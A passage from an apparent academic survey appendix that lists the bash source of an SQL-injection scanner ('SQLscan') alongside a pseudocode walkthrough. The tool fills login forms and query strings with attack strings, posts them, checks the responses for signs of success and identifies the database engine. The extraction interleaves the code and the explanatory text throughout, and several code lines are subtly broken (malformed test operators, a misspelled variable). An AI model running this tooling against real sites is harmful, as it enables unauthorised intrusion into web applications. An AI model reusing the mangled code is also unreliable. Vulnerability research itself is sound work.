      the Username field:"  
  144     select UIDFIELD in $(grep -ie "< *input" $TEMPFORM | tr "<" "\n"  
      | $pathToSed -n "s/^.*name *= *[\"']*\([^\"'> ]*\) 
      [\"'> ]* *.*/\1/Ip;") View_Full_Tags View_Complete_Source 
 
 
 
 
 
 
 
 
 
 
 
  145     do 
  146       if [ "${UIDFIELD:0:4}" = "View" ]; then 
 
 
  147         [ "$UIDFIELD" = "View_Full_Tags" ] && grep -ie "< *input"  
      $TEMPFORM 
 
 
  148         [ "$UIDFIELD" = "View_Complete_Source" ] && less $TEMPFORM 
 
  149         printf "\n[Press Enter to see your choices] " 
 
  150       else 
  151         [ -n "$UIDFIELD" ] && break; 
 
  152       fi 
  153     done 
  154     log "Info: Using '${UIDFIELD}'  as the Username field" 
  155   fi 
If the user did not specify the form’s username 
field via the command line: 
  Set the command prompt to  
  ‘Username Field?’. 
  Prompt the user to select the  
  username field. 
  Construct a menu to populate  
  $UIDFIELD with the user’s  
  choice from the following  
  options: 
- The value of the name attribute for each 
<input> tag in the  
downloaded form (achieved by using grep to 
isolate each <input> tag, tr to ensure each 
one is on its own line, and sed to strip 
out everything except the value of the name 
attribute). 
- The additional option: “View_Full_Tags”  
- The additional option: 
“View_Complete_Source” 
  Loop:   
    If the first 4 letters of  
    the selected option are  
    ‘View’: 
      If the selected option is “View_Full_Tags": 
        Use grep to list all lines containing a  
        “<” followed by “input”. 
      End If 
If the selected option is “View_Complete_Source”, 
use less to display the complete source code. 
Display "[Press Enter to see your choices] " on a 
new line. 
Otherwise: 
   If the user selected another valid option, stop  
   looping. 
End If 
End Loop 
Log the user’s choice of Username field. 
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  156   # you could limit the following list to password fields only, but  
      I don't so that the user can elect to test using hidden fields, 
  157   # which might contain the (possibly sanitized) uid and pwd in an  
      effort to evade automated scripts. 
  158   if [ -z "$PWDFIELD" ]; then 
 
  159     PS3='Password Field? ' 
 
  160     echo "Please select the Password field:"  
 
  161     select PWDFIELD in $(grep -ie "< *input" $TEMPFORM | tr "<" "\n"  
      | $pathToSed -n "s/^.*name *= *[\"']*\([^\"'> ]*\) 
       [\"'> ]* *.*/\1/Ip;") View_Full_Tags View_Complete_Source 
 
 
 
 
 
 
 
 
 
  162     do 
  163       if [ "${PWDFIELD:0:4}" = "View" ]; then 
 
 
  164         [ "$PWDFIELD" = "View_Full_Tags" ] && grep -ie "< *input"  
      $TEMPFORM 
 
 
  165         [ "$PWDFIELD" = "View_Complete_Source" ] && less $TEMPFORM 
 
 
  166         printf "\n[Press Enter to see your choices] " 
 
  167       else 
  168         [ -n "$PWDFIELD" ] && break; 
 
  169       fi 
 
 
 
 
If the user did not select the password field on 
the command line: 
  Set the command prompt to  
  ‘Password Field?’ 
  Prompt the user to select the    
  password field. 
  Construct a menu to populate$PWDFIELD with the  
  user’s choice from the following options: 
- The value of the name attribute for each 
<input> tag in the  
downloaded form (achieved by using grep to 
isolate each <input> tag, tr to ensure each 
one is on its own line, and sed to strip 
out everything except the value of the name 
attribute). 
- The additional option: “View_Full_Tags”  
- The additional option: 
“View_Complete_Source” 
Loop: 
  If the first 4 letters of the selected option  
  are ‘View’: 
     If the selected option is  
     “View_Full_Tags", use grep  
     to list all lines  
     containing a “<” followed  
     by “input”. 
     If the selected option is  
     “View_Complete_Source”, use  
     less to display the complete source code. 
     Display "[Press Enter to see your choices] "  
     on a new line. 
    Otherwise: 
      If the user selected another valid option, 
        Break out of the loop. 
    End If 
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  170     done 
 
  171     log "Info: Using '${PWDFIELD}' as the password field" 
 
  172   fi 
  173   #now get the form's action field 
  174   if [ -z "$TARGET" ]; then 
 
  175     local action=$(grep -ie "action *= *" $TEMPFORM | $pathToSed  
      "s/^.*action *= *[\"']*\([^\"'> ]*\).*$/\1/Ig;") 
 
  176    
  177     #if the action starts with http: then put it into the $target  
      variable 
  178     if [ "${action:0:4}" = "http" ]; then 
  179       TARGET="${action}" 
  180     else 
  181       #otherwise, check the first letter. 
  182       #  If it's a #, then post to the same page  
  183       #  if it's a slash, then prepend the domain name to it 
  184       #  If it's anything else, (e.g. my_form_responder.asp), append  
      it to the parent directory of the page  
  185       case "${action:0:1}" in 
 
  186         "#")    TARGET="${URL}" 
 
 
  187                 if [ $DEBUG -eq 1 ]; then 
  188                   log "DEBUG: Action starts with a hash." true 
  189                 fi 
  190                 ;; 
  191         "/")    PROTOCOL=$(echo $URL | cut -d"/" -f 1) 
  192                 HOSTNAME=$(echo $URL | cut -d"/" -f 3) 
  193                  
  194                 TARGET="${PROTOCOL}//${HOSTNAME}${action}" 
 
  195                 if [ $DEBUG -eq 1 ]; then 
  196                   log "DEBUG: Action starts with a slash." true 
  197                 fi 
  End Loop 
End If 
Log the user’s choice of Password field. 
     
 
 
If the $TARGET variable is empty (i.e. it was not 
set using the –P switch): 
  Set $action to the value of  the form’s ‘action’  
  attribute (using grep to filter out the  
  line containing the string ‘action’ followed by  
  an equals sign, and then using sed to replace  
  the resulting string with the value of the  
  action attribute only). 
If the value of $action begins with http: 
  Store that value in the $target variable 
  Otherwise: 
     
 
 
 
 
Check the first letter of the form’s action 
attribute. 
  If the first letter is a ‘#’, 
    Store the URL of the page being scanned in the  
    $target variable. 
    If in DEBUG mode, log and 
    Display ‘Action starts with a hash’ 
 
 
  If the first letter is a ‘/’, 
    Prepend the protocol (i.e. http: or https:)  
    and domain name of the page being scanned to  
    the value in the form’s action attribute and  
    store it in the $TARGET variable. 
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  198                 ;; 
  199         ?)      PARENTDIR=${URL%/*}  # everything to the left of the  
      rightmost slash  
  200                 TARGET="${PARENTDIR}/${action}" 
  201                 if [ $DEBUG -eq 1 ]; then 
  202                   log "DEBUG: Action starts with a something other  
      than a hash, slash, or 'http'." true 
  203                 fi 
  204                 ;; 
  205       esac 
  206     fi 
  207     if [ $DEBUG -eq 1 ]; then 
  208       log "DEBUG: Action field in the form is: '$action'" true 
  209     fi 
  210   fi 
 
  211   log "Info: Posting to $TARGET" 
  212 } 
  213  
  214  
 
 
  215 function getQuerystringFields() 
  216 { 
  217   # List all the querystring items and select which one to use for  
      the attacks.  If there is only one, use it without asking the user. 
  218   # Input: $URL 
  219   # Output: 
  220   #   FILENAME (the name of the file without the querystring) 
  221   #   QUERYSTRING (the full, original, querystring)  
  222   #   ATTACK_QUERYSTRING (used by getAttack: contains the attack  
      querystring template - e.g. ?id=ATTACK&continue=1&page=3), 
  223   #   ATTACK_FIELD (querystring field to place attack in).  When  
      attacks happen, the X in the definition file will be replaced with  
      this. 
  224   #   ORIGVALUE (original value of the attack field, used in some  
      attacks - e.g. X=${ORIGVALUE} UNION SELECT ...) 
  225   FILENAME=${URL%\?*} 
 
 
  If the first letter is anything else (i.e. the  
    action attribute contains a relative reference  
    to a filename, such as ‘myfile.asp’,  
    ‘./myfile.php’, or ‘../myfile.jsp’), prepend  
    the address of the scanned form’s parent  
    directory to the value stored in the form’s  
    action attribute and store it in the $TARGET  
    variable. 
  End If 
 
 
 
 
 
 
Log the URL to which SQLscan will be posting all 
SQL Injection attempts (i.e. the value of the 
$TARGET variable). 
 
 
 
 
getQuerystringFields() 
 
 
 
 
 
 
 
 
 
 
 
 
 
Store everything to the left of the question mark 
in $FILENAME. 
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  226   QUERYSTRING=${URL#*\?} 
 
 
  227   if [ $DEBUG -eq 1 ]; then 
  228     log "DEBUG: Filename is \"${FILENAME}\", Query String is  
      \"${QUERYSTRING}\"." true 
  229   fi 
  230   echo "$QUERYSTRING" | grep "&" > /dev/null 
 
  231   if [ $? -eq 0 ]; then 
  232     # There is more than one entry in the querystring (because there  
      is an & in it), so work out the ATTACK_FIELD 
  233     # (ask the user to select one if no variable was selected on the  
      commmand line with the -G switch) 
  234     if [ -z "$ATTACK_FIELD" ]; then 
  235       PS3='Querystring attack field? ' 
  236       echo "Please select the field to use when performing attacks  
      via the querystring:" 
  237       select ATTACK_FIELD in $(echo $QUERYSTRING | tr "&" "\n" |  
      $pathToSed -n "s/^\(.*\)=[^$ ]*$/\1/Ip;") 
 
 
 
  238       do 
  239         [ -n "$ATTACK_FIELD" ] && break; 
  240       done 
  241       log "Info: Using '${ATTACK_FIELD}' as the querystring attack  
      field." 
  242     fi 
  243   else 
  244     # only one querystring field, so use it for attacks 
  245     ATTACK_FIELD=${QUERYSTRING%%=*} 
  246     if [ $DEBUG -eq 1 ]; then 
  247       log "DEBUG: Using \"${ATTACK_FIELD}\" for attacks." true 
  248     fi 
  249   fi 
  250    
  251   local EXTRA_QUERYSTRING=$(echo $QUERYSTRING | tr "&" "\n" | grep  
      -v "${ATTACK_FIELD}" | tr "\n" "&") 
Store everything to the right of the question mark 
in $QUERYSTRING. 
 
 
 
 
 
Look for any ampersands in the query string, using 
echo and grep, but suppress all output). 
If an ampersand character was found: 
 
 
 
 
  If the query string field to  
  use was not specified by the  
  user (with the –G switch): 
   
  Construct a menu to populate  $PWDFIELD with the  
  user’s choice of variable in the  query string  
  (by isolating each variable using tr, and then  
  using sed to remove everything except the name  
  of the variable from each option). 
   Repeat: 
 Until the user makes a  
      valid selection: 
   Log the chosen field in the log file. 
 
  End IF 
Otherwise: 
  As there is only one variable in the query  
  string, use everything to the left of the  
  equals sign as the name of the field to use. 
 
 
End If 
 
Remember all other variable definitions in the 
query string (by isolating each one using tr, 
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  252   ATTACK_QUERYSTRING="?${ATTACK_FIELD}=ATTACK&${EXTRA_QUERYSTRING}" 
 
 
 
 
 
  253   ATTACK_QUERYSTRING=${ATTACK_QUERYSTRING/&&/&} 
  254   if [ $DEBUG -eq 1 ]; then 
  255     log "DEBUG: Attack Querystring = \"${ATTACK_QUERYSTRING}\"."  
      true 
  256   fi 
  257   ORIGVALUE=$(echo $QUERYSTRING | tr "&" "\n" | grep  
      "${ATTACK_FIELD}" | $pathToSed -n "s/^.*=\([^$ ]*\)$/\1/Ip;") 
  258 } 
  259  
  260  
  261 function checkResponse () 
  262 { 
  263   # checkResponse() - searches the source code of the server's  
      response to the attempted injection for indications of success. 
  264   # Input: Success_Indicator variable from the attack definition  
      file. 
  265   # Updates the following global variables: 
  266   #   matches (number of success indicators found) 
  267   #   SQLENGINE (the sql engine being used by the server, if  
      recognised) 
  268   #   USERDEFINEDWARNINGDISPLAYED (flag to limit to 1 the number of  
      warnings in the event of a missing or empty user-defined              
      searchphrase) 
  269   matches=0 
  270   case $1 in 
  271         "userDefined")  # Check for the string defined by the user,  
      either interactively or via the -s switch 
  272                         if [ -n "$SUCCESS_INDICATOR" ]; then 
  273                           matches=$(grep -i "${SUCCESS_INDICATOR}"  
removing the one selected to store the SQL 
injection attack with grep, and placing the 
remaining variable definitions back onto a single 
line using tr). 
Build the attack query string template by 
concatenating a question mark, the name of the 
field to contain the attack data, the string 
‘=ATTACK&’, and any other (unmodified) variable 
definitions: 
  E.g. ‘?id=ATTACK&continue=1&language=en’. 
Remove any resulting double ampersand (which will 
occur if the chosen attack field is not the first 
in the querystring). 
 
 
Store the original value of the attack field (in 
case it is required to perform an attack). 
 
 
 
 
checkResponse(searchString) 
 
 
 
 
 
 
 
 
 
 
 
Set $matches to zero. 
If searchString’s value is “userDefined”: 
  If the user specified a string    
  indicating a successful login  
  with the -s switch: 
    Look for occurrences of that  
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      ${RESULTSFILE} | wc -l) 
 
 
 
 
  274                         else 
  275                           if [ "$USERDEFINEDWARNINGDISPLAYED" !=  
      "true" ]; then  
  276                             log "WARNING: Check for successful  
      logins impaired because no definitive searchphrase has been  
      provided.  Use the -s switch to set this.  Using common  
      searchphrases instead." True 
  277                             USERDEFINEDWARNINGDISPLAYED="true" 
 
 
  278                           fi 
  279                           matches=$(grep -if  
      "${INSTALL_DIR}successIndicators/loggedIn" ${RESULTSFILE} | wc -l) 
 
 
  280                         fi 
  281                         ;; 
  282         "identify")     if [ "$SQLENGINE" = "Unknown" ]; then 
  283                           # Check against all supported SQL engine 
types 
  284                           if [ -s  
      "${INSTALL_DIR}successIndicators/MSSQLServer" ]; then 
  285                             matches=$(grep -i -f  
      "${INSTALL_DIR}successIndicators/MSSQLServer" ${RESULTSFILE} |  
      wc -l) 
  286                             if [ $matches -gt "0" ]; then 
  287                               SQLENGINE="MSSQLServer" 
  288                               log "** Microsoft SQL Server detected.  
      **" true 
  289                             fi 
  290                           fi 
  291                           if [ $matches -eq 0 -a -s  
      "${INSTALL_DIR}successIndicators/MySQL" ]; then 
 
    string in the server’s  
    response to  
    the SQL Injection attack,  
    and store the number of hits  
    in $matches. 
  Otherwise: 
    If the user hasn’t been  
    warned yet: 
      Warn the user that SQLscan cannot accurately  
      check for successful logins because no  
      search string has been supplied. 
 
Set a flag to indicate  
that the user has been  
warned. 
    End If 
    Look for occurrences of SQLscan’s generic  
    ‘successful login indication strings’ in the  
    server’s response. Store the number of matches  
    in $matches. 
  End If 
End If 
If searchString’s value is “identify”and the SQL 
engine being used by the form is unknown: 
 
    If the MS SQL Server Success Indicator List is  
    readable and not empty:  
      Count the occurrences of any matches within  
      the server’s response. Put this number in  
      $matches. 
    If any matches were found: 
   Set $SQLENGINE to “MSSQLServer”. 
  Log and display the fact that MS SQL  
  Server was detected. 
 End If 
    End If 
    If no matches were found yet and the MySQL  
    Server Success Indicator list is readable and  
    not empty:    
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  292                             matches=$(grep -i -f  
      "${INSTALL_DIR}successIndicators/MySQL" ${RESULTSFILE} | wc -l) 
 
  293                             if [ $matches -gt 0 ]; then 
  294                               SQLENGINE="MySQL" 
  295                               log "** MySQL database detected. **"  
      true 
  296                             fi 
  297                           fi 
  298                           if [ $matches -eq 0 -a -s  
      "${INSTALL_DIR}successIndicators/Oracle" ]; then 
 
  299                             matches=$(grep -i -f  
      "${INSTALL_DIR}successIndicators/Oracle" ${RESULTSFILE} | wc -l) 
 
  300                             if [ $matches -gt 0 ]; then 
  301                               SQLENGINE="Oracle" 
  302                               log "** Oracle database detected. **"  
      true 
  303                             fi 
  304                           fi 
  305                         else  
  306                           # Check the indicators for the recognised  
      engine only 
  307                           matches=$(grep -i -f  
      "${INSTALL_DIR}successIndicators/${SQLENGINE}" ${RESULTSFILE} |  
      wc -l) 
 
  308                         fi 
  309                         # Check for generic error indicators too  
       (script can be injectable without exposing the SQL engine's  
       identity). 
  310                         [ $matches -eq 0 ] && matches=$(grep -i -f  
      "${INSTALL_DIR}successIndicators/generic" ${RESULTSFILE} | wc -l) 
 
  311                         ;; 
  312         *)              #check if it's a filename in the  
      successIndicators directory 
  313                         if [ -s  
      Count the occurrences of any matches within  
      the server’s response to the attack.  Place  
      this number in $matches. 
      If any matches were found: 
   Set $SQLENGINE to “MySQL”. 
  Log and display. 
 
 End If 
    End If 
    If no matches were found yet and the Oracle  
    Server Success Indicator list is readable and  
    not empty:    
      Count the occurrences of any matches within  
      the server’s response. Place this number in  
      $matches. 
      If any matches were found: 
   Set $SQLENGINE to “Oracle”. 
  Log and display. 
 
 End If 
    End If 
  Otherwise (i.e. the SQL engine is known): 
 
 
    Count the occurrences of the SQL engine’s  
    success indication strings within the server’s  
    response to the attack, placing the number  
    in $matches.  
  End If 
   
 
 
  If there are no matches, check for generic  
  success indication strings in the server’s  
  response. Put the count in $matches. 
  End If 
If searchString’s value is none of the above: 
 
  If searchString’s value is the name of a file in  
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      "${INSTALL_DIR}successIndicators/${1}" ]; then 
  314                           #if so, check for any indicators listed in  
      that file 
  315                           if [ "$APPEND_GENERIC_INDICATORS" = "true"  
      ]; then 
  316                             matches=$(grep -i -f  
      "${INSTALL_DIR}successIndicators/${1}" -f  
      "${INSTALL_DIR}successIndicators/loggedIn" ${RESULTSFILE} | wc -l) 
  317                           else 
  318                             matches=$(grep -i -f  
      "${INSTALL_DIR}successIndicators/${1}" ${RESULTSFILE} | wc -l) 
  319                           fi 
  320                         else 
  321                           #if not, 1 is a once-off success  
      indicator, so look for it in the results 
  322                           matches=$(grep -i "${1}" ${RESULTFILE} |  
      wc -l) 
 
  323                         fi 
  324                         ;; 
  325   esac   
  326 } 
  327  
  328  
  329 function postAttack () 
  330 { 
  331   # postAttack() - posts the current SQL injection attack (as  
      defined in the current attack definition file) 
  332   #                and checks if that attack was successful.  Also  
      attempts to identify the SQL engine in use. 
  333   # Input: Single line from the attack definition file, with spaces  
      translated to underscores. 
  334   # 
  335   # Attack definition file format: Username|Password|Success  
      indicator|Stop if successful|Description 
  336   local uid=$(echo $1 | cut -d'|' -f1 | tr '~^' ' |') 
 
  337   local pwd=$(echo $1 | cut -d'|' -f2 | tr '~^' ' |') 
  338   local lookFor=$(echo $1 | cut -d'|' -f3 | tr '~' ' ') 
  the successIndicators directory: 
  
 
   If SQLscan is configured to use generic  
      indicators: 
      Look for both generic and the provided  
      success indication strings in the server’s  
      response. 
    Otherwise: 
      Only look for the provided success  
      indication strings in the server’s response. 
    End If 
  Otherwise: 
 
    Look for any occurrences of searchString’s  
    value in the server’s response to the  
    attack, placing the count in $matches. 
 
  End If 
End If 
 
 
 
 
 
postAttack(attackDefinitionLine) 
 
 
 
 
 
 
 
 
 
Load the first field in attackDefinitionLine into 
$uid, replacing ~ with spaces and ^ with |.  
Load the second field into $pwd, replacing ^ with |.  
Load the third field into $lookFor 
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  339   local stopScan=$(echo $1 | cut -d'|' -f4 | tr '~' ' ') 
  340   local msg=$(echo $1 | cut -d'|' -f5 | tr '~' ' ') 
  341   if [ $DEBUG -eq 1 ]; then 
  342     log "DEBUG: Attempting: ${UIDFIELD} = \"${uid}\", ${PWDFIELD} =  
      \"${pwd}\"" true 
  343   fi 
  344   # Show the progress indicator 
  345   [ "$QUIET" = "0" ] && printf "\b%s" ${PROGRESS[$CNT]} 
 
  346   case $CNT in 
  347     0) CNT=1 
  348        ;; 
  349     1) CNT=2 
  350        ;; 
  351     2) CNT=3 
  352        ;; 
  353     3) CNT=0 
  354        ;; 
  355   esac 
  356   # PERFORM THE CHECK (I.E. POST THE DATA AND LOOK AT THE RESULT) 
  357   POSTDATA="${INSTALL_DIR}temp/attack.frm" 
 
  358   RESULTSFILE="${INSTALL_DIR}temp/results.html" 
  359   # Lynx requires a querystring of all form input fields and values  
      to be stored in a seperate file (in this case, $POSTDATA) for  
      posting. 
  360   # Create this list, substituting the values for the identified  
      username and password fields: 
  361   otherFormFields=$(grep -ie "< *input" $TEMPFORM | tr "<" "\n" |  
      grep -v "${UIDFIELD}" | grep -v "${PWDFIELD}" | $pathToSed -n  
          "s/^.*name *= *[\"']*\([^\"'> ]*\)[\"'> ]* *.*value *=  
      *[\"']*\([^\"'> ]*\)[\"'> ]* *.*/\1=\2/Ip;" | tr "\n" "&") 
  362   echo "${UIDFIELD}=${uid}&${PWDFIELD}=${pwd}&${otherFormFields}" >  
      $POSTDATA 
  363   echo "---" >> $POSTDATA 
  364   # Now post the form and put the results in resultfile: 
  365   if [ $DEBUG -eq 1 ]; then 
  366     log "DEBUG: $pathToLynx -source -post_data $TARGET < $POSTDATA >  
      $RESULTSFILE" true 
Load the fourth field into $stopScan.  
Load the fifth field into $msg.  
 
 
 
 
 
If not in quiet mode, display the current progress 
indication character. 
Change the current progress indication character 
to the next in the sequence, returning to the 
first if the end of the sequence has been reached. 
 
 
 
 
 
 
 
 
Define the location and name of the file 
containing the attack form data. 
Define the location and name of the file 
containing the server’s response. 
 
 
 
 
Convert all form fields and their values (except 
for the identified username and password fields), 
into the query-string syntax expected by lynx. 
 
Construct the form syntax, placing the current 
attack values within the username and password 
fields, and including all other form fields. Write 
it to the attack form file. 
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  367   fi 
  368   [ CONTINUE -gt 0 ] && $pathToLynx -source -post_data $TARGET <  
      $POSTDATA > $RESULTSFILE 
 
 
  369   # Next, check the results for indicators of success: 
  370   [ CONTINUE –gt 0 ] && checkResponse $lookFor 
 
 
  371   if [ $matches -gt 0 ]; then 
  372     INJECTABLE=1 
  373     log "Vulnerability: ${msg} -  E.g. ${UIDFIELD} = \"${uid}\",  
      ${PWDFIELD} = \"${pwd}\"" 
  374     if [ "$stopScan" = "1" -o \( "$IDENTIFY_ONLY" = "1" -a  
      "$SQLENGINE" != "Unknown" \) ]; then 
  375       # stop the scan if stopScan is set or the -i(dentify only)  
      switch was used and an engine has been detected.  
  376       if [ $DEBUG -eq 1 ]; then 
  377         log "DEBUG: Stopping the scan." 
  378       fi 
  379       CONTINUE=0 
  380     fi 
  381   fi 
  382 } 
  383  
  384  
  385 function getAttack () 
  386 { 
  387   # getAttack() - applies the current SQL injection attack (as  
      defined in the current attack definition file) 
  388   # to the querystring and tests for success.  Also attempts to  
      identify the SQL engine in use. 
  389   # Input: Single line from the attack definition file, with spaces  
      translated to underscores. 
  390   # Global variables: 
  391   #   ATTACK_QUERYSTRING (used by getAttack: contains the attack  
      querystring template - e.g. ?id=ATTACK&continue=1&page=3), 
  392   #   ATTACK_FIELD (querystring field to place attack in).  When  
      attacks happen, the X in the definition file will be replaced with  
 
If the scan has not been cancelled, invoke lynx, 
posting the attack form’s data to the same Web 
address that handles the data posted by the form 
being scanned.  Place the server’s response in the 
defined results file. 
If the scan has not been cancelled, call 
checkResponse(), passing it the value of $lookFor 
(the success indicator for the current attack). 
If the number of matches is greater than zero: 
  Flag that this form can be injected. 
  Display and log that this particular attack  
  succeeded. 
  If $stopScan is set to 1 or both the SQL engine  
    has been identified and the user invoked     
    SQLscan is in ‘identify only’ mode: 
 
 
 
 
    Set $CONTINUE to zero.     
  End If 
End If   
 
 
   
 
getAttack(attackDefinitionLine) 
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      this. 
  393   #   ORIGVALUE (original value of the attack field, used in some  
      attacks - e.g. X=${ORIGVALUE} UNION SELECT ...) 
  394   # 
  395   # Attack definition file format: querystring|Success  
      indicator|Stop if successful|Description 
  396   local attack=$(echo $1 | cut -d'|' -f1 | tr '~' ' ') 
 
  397   local lookFor=$(echo $1 | cut -d'|' -f2 | tr '~' ' ') 
  398   local stopScan=$(echo $1 | cut -d'|' -f3 | tr '~' ' ') 
  399   local msg=$(echo $1 | cut -d'|' -f4 | tr '~' ' ') 
  400   if [ $DEBUG -eq 1 ]; then 
  401     log "DEBUG: Attempting: \"${attack}\"" true 
  402   fi 
  403   # Show the progress indicator 
  404   [ "$QUIET" = "0" ] && printf "\b%s" ${PROGRESS[$CNT]} 
  405   case $CNT in 
  406     0) CNT=1 
  407        ;; 
  408     1) CNT=2 
  409        ;; 
  410     2) CNT=3 
  411        ;; 
  412     3) CNT=0 
  413        ;; 
  414   esac 
  415   # PERFORM THE CHECK (I.E. BUILD THE REQUEST QUERYSTRING AND LOOK  
      AT THE RESULT) 
  416   # replace the string 'ATTACK' in $ATTACK_QUERYSTRING with the  
      contents of $attack (i.e. the manipulated querystring in the  
          current line of the definition file) 
  417   # remove the X= in the attack definition because the reference to  
      the field is already in ATTACK_QUERYSTRING 
  418   ATTACK_URL="${FILENAME}${ATTACK_QUERYSTRING/ATTACK/${attack/X=/}}" 
 
 
 
 
  419   ATTACK_URL="${ATTACK_URL}/\$\{ORIGVALUE\}/$ORIGVALUE}" 
 
 
 
 
 
 
Load the first field in attackDefinitionLine into 
$attack, replacing ~s with spaces. 
Load the second field into $lookFor.  
Load the third field into $stopScan.  
Load the fourth field into $msg.  
 
 
 
 
If not in quiet mode, display the current progress 
indication character. 
Change the current progress indication character 
to the next in the sequence, returning to the 
first if the end of the sequence has been reached. 
 
 
 
 
 
 
 
 
 
 
 
 
 
Build the URL containing the current attack by 
removing ‘X=’ from the attack definition, use this 
to replace the string ‘ATTACK’ in the attack query 
string template, and appending the result to the 
URL of the Web page being scanned.   
Replace ${ORIGVALUE} in this string with the 
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  420   RESULTSFILE="${INSTALL_DIR}temp/results.html" 
  421   if [ $DEBUG -eq 1 ]; then 
  422     log "DEBUG: $pathToLynx -source \"$ATTACK_URL\" > $RESULTSFILE"  
      true 
  423   fi 
  424   [ CONTINUE -gt 0 ] && $pathToLynx -source "$ATTACK_URL" >  
      $RESULTSFILE # request the page and put the results in resultfile 
 
  425   # Next, check the results for indicators of success: 
  426   [ CONTINUE-gt 0 ] && checkResponse $lookFor 
 
 
  427   if [ $matches -gt 0 ]; then 
  428     INJECTABLE=1 
  429     log "Vulnerability: ${msg} -  E.g. ${ATTACK_URL}" 
 
  430     if [ "$stopScan" = "1" -o \( "$IDENTIFY_ONLY" = "1" -a  
      "$SQLENGINE" != "Unknown" \) ]; then 
  431       # stop the scan if stopScan is set or the -i(dentify only)  
      switch was used and an engine has been detected.  
  432       if [ $DEBUG -eq 1 ]; then 
  433         log "DEBUG: Stopping the scan." 
  434       fi 
  435       CONTINUE=0 
  436     fi 
  437   fi 
  438 } 
  439  
  440 function Scan () 
  441 { 
  442   local name=${1%%PostAttacks} 
  443   name=${name%%GetAttacks} 
 
  444   ATTACK_FILE="${INSTALL_DIR}conf/$1" 
 
 
  445   if [ -e "${ATTACK_FILE}.dat" -a -r "${ATTACK_FILE}.dat" ]; then 
 
actual original value of the input field. 
Define the location and name of the file 
containing the server’s response. 
 
 
 
If the scan has not been cancelled, invoke lynx, 
requesting the newly built URL, which now contains 
the SQL injection attack.  Place the server’s 
response in the defined results file. 
If the scan has not been cancelled, call 
checkResponse(), passing it the  value of $lookFor 
(the success indicator for the current attack). 
If the number of matches is greater than zero: 
  Flag that this page can be injected. 
  Display and log that this particular attack  
  succeeded. 
  If $stopScan is set to 1 or both the SQL engine  
  has been identified and the user invoked SQLscan  
  is in ‘identify only’ mode: 
  
 
    
 
    Set $CONTINUE to zero.     
   End If 
End If   
 
   
 
Scan(attackDefinitionType) 
Remove both ‘PostAtacks’ and ‘GetAttacks’ from the 
supplied attackDefinitionType string and store it 
in $name. 
Define the current attack definition file as the 
attackDefinitionType string followed by “.dat”, 
located in sqlscan’s conf directory. 
If the attack definition file exists and it can be 
read: 
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  446     [ "$QUIET" = "0" ] && printf "Checking for $name  
      vulnerabilities:  " 
  447     # REMOVE SPACES FROM INPUT FILE TO ALLOW THE MESSAGE TO BE READ  
      INTO A SINGLE VARIABLE AFTER EACH LINE IS READ 
  448     cat ${ATTACK_FILE}.dat | tr ' ' '~' > ${ATTACK_FILE/conf/temp} 
 
 
 
 
  449     while read ALINE 
  450     do 
  451      # IGNORE ANY LINES BEGINNING WITH A HASH (POUND) SIGN 
  452      if [[ ${ALINE:0:1} != '#' ]]; then 
  453        if [ $METHOD == "post" ]; then 
  454          [ "$CONTINUE" –gt 0 ] && postAttack $ALINE 
 
 
 
 
  455        else 
  456          [ "$CONTINUE" –gt 0 ] && getAttack $ALINE 
 
 
  457        fi 
  458        # PAUSE BETWEEN TESTS (IF ENABLED IN THE CONF FILE) 
  459        if [ "$pathToSleep" -a $delayBetweenScans -gt 0 –a $CONTINUE  
      –gt 0 ]; then 
  460          RESPONSE=$(${pathToSleep} ${delayBetweenScans}) 
  461        fi 
 
  462      fi 
  463     done < ${ATTACK_FILE/conf/temp} 
  464     [ "$QUIET" = "0" ] && printf "\bDone\n" 
  465   else 
  466     log "WARNING: No $name definitions (conf/${ATTACK_FILE}.dat)  
      found - Skipping" true 
  467   fi 
  468 } 
  469  
  If SQLscan is not in quiet mode, report which  
  type of vulnerabilities are being checked. 
   
   
  Replace all spaces in the attack definition file  
  with ~ (so that each record can be passed to  
  other functions as one parameter.  
  Store this version of the input file in the temp  
  directory 
  For each line in the newly created file: 
 
 
    If the first letter is not a  
    hash (pound) sign: 
      If the scan mode is set to “post” (the  
      default mode) and scanning has not been  
      cancelled, call postAttack, passing in the  
      current attack definition as the only  
      parameter. 
      Otherwise: 
        If scanning has not been cancelled, call  
        getAttack, passing in the current attack  
        definition as the only parameter. 
      End If 
       
      If, in the conf file, the $pathToSleep  
      variable has been defined and the delay  
      between scans has been set, and if the scan  
      has not been cancelled, pause for the  
      specified number of seconds. 
    End If 
  End For 
  If quiet mode is not enabled, display “Done”. 
Otherwise: 
  Display and log that the definition file cannot  
  be found. 
End If 
 
 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES                                                                 162 
  470 # 
  471 # Check supplied parameters 
  472 # 
  473 while getopts 'f:G:ghiP:p:qs:u:Vv' OPTION 
 
 
 
 
  474 do 
  475   case $OPTION in 
  476   f)    ATTACKFILE="${OPTARG%.dat}" 
 
  477         ;; 
  478   G)    METHOD="get" 
 
  479         ATTACK_FIELD="$OPTARG" 
 
  480         ;; 
  481   g)    METHOD="get" 
  482         ;; 
 
  483   h)    usage 
  484         ;; 
  485   i)    IDENTIFY_ONLY=1 
  486         ;; 
 
 
  487   P)    METHOD="post" 
  488         TARGET="$OPTARG" 
  489         ;; 
 
  490   p)    PWDFIELD="$OPTARG" 
 
  491         METHOD="post" 
  492         ;; 
 
  493   q)    QUIET=1 
  494         ;; 
 
 
[Beginning of script] 
 
Use getopts to define all valid command line 
options/switches. The switches: g, h, i, q, and v 
take no additional arguments whereas f, G, P, p, 
s, u, and V require one. 
 
For each supplied command line option: 
 
  If the ‘-f’ switch was used: 
    Store the supplied file name in $ATTACKFILE. 
  End If 
  If ‘-G’ switch was used: 
    Set the scanner to query string manipulation  
    mode. Place the supplied variable name into  
    $ATTACK_FIELD. 
  End If 
  If the ‘-g’ switch was used: Set the scanner to  
  query string manipulation mode. 
  End If 
  If the ‘-h’ switch was used: 
    Call the usage() function. 
  End If 
  If the ‘-I’ switch was used: Set the  
  IDENTIFY_ONLY flag to on. 
  End If 
  If the ‘-P’ switch was used: 
    Set the scanner to form posting mode and place  
    the supplied URL for the form responder in  
    $TARGET.    
  If the ‘-p’ switch was used: 
    Place the supplied password field name in  
    $PWDFIELD. Set the scanner to form posting  
    mode. 
  End If 
  If the ‘-q’ switch was used: 
    Turn on quiet mode. 
  End if 
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  495   s)    SUCCESS_INDICATOR="$OPTARG" 
  496         ;; 
 
 
  497   u)    UIDFIELD="$OPTARG" 
  498         METHOD="post" 
  499         ;; 
 
  500   V)    version 
  501         ;; 
 
  502   v)    VERBOSE=1 
  503         ;; 
 
